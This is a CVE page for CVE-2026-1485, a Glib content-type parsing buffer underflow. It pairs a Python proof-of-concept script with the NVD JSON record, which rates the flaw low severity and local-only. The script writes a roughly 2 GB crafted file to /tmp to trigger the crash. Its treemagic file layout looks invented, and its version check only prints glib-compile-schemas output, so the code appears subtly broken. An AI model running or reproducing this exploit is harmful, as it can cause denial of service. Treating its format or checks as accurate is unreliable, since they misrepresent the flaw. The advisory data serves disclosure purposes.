CVE-2026-1485

# CVE-2026-1485 PoC - Glib treemagic Buffer Underflow # This PoC creates a malicious treemagic file that triggers integer wraparound # in Glib's content type parsing logic import os import struct def create_malicious_treemagic(): """ Create a malicious treemagic file to trigger buffer underflow in Glib. The vulnerability occurs when header line length stored in signed integer wraps around for very large inputs. """ # Create a header line that is extremely long to trigger integer overflow # When parsed, the length value will wrap around in signed integer long_header = b'A' * 2147483647 # INT_MAX to trigger wraparound # Treemagic file format treemagic_content = long_header + b'\n' treemagic_content += b'\x00\x00\x00\x00' # Null bytes for parsing # Write the malicious file output_path = '/tmp/malicious.treemagic' with open(output_path, 'wb') as f: f.write(treemagic_content) print(f"[+] Created malicious treemagic file: {output_path}") print(f"[+] File size: {len(treemagic_content)} bytes") print("[*] When processed by vulnerable Glib version, triggers buffer underflow") return output_path def verify_vulnerability(): """ Check if system is vulnerable by examining Glib version. """ import subprocess try: result = subprocess.run(['glib-compile-schemas', '--version'], capture_output=True, text=True) print(f"[*] Glib version: {result.stdout.strip()}") except Exception as e: print(f"[-] Could not determine Glib version: {e}") if __name__ == '__main__': print("[*] CVE-2026-1485 Glib Buffer Underflow PoC") print("[*] Target: GNOME Glib content type parsing") verify_vulnerability() create_malicious_treemagic() print("[+] PoC file created successfully") print("[*] Note: This vulnerability requires local user interaction")

{"cve": {"id": "CVE-2026-1485", "sourceIdentifier": "[email protected]", "published": "2026-01-27T14:15:56.223", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Glib's content type parsing logic. This buffer underflow vulnerability occurs because the length of a header line is stored in a signed integer, which can lead to integer wraparound for very large inputs. This results in pointer underflow and out-of-bounds memory access. Exploitation requires a local user to install or process a specially crafted treemagic file, which can lead to local denial of service or application instability."}, {"lang": "es", "value": "Se encontró una falla en la lógica de análisis de tipos de contenido de Glib. Esta vulnerabilidad de desbordamiento negativo de búfer ocurre porque la longitud de una línea de encabezado se almacena en un entero con signo, lo que puede llevar a un desbordamiento de entero para entradas muy grandes. Esto resulta en un desbordamiento negativo de puntero y acceso a memoria fuera de límites. La explotación requiere que un usuario local instale o procese un archivo treemagic especialmente diseñado, lo que puede llevar a una denegación de servicio local o inestabilidad de la aplicación."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L", "baseScore": 2.8, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.3, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-124"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-1485", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433325", "source": "[email protected]"}, {"url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3871", "source": "[email protected]"}]}}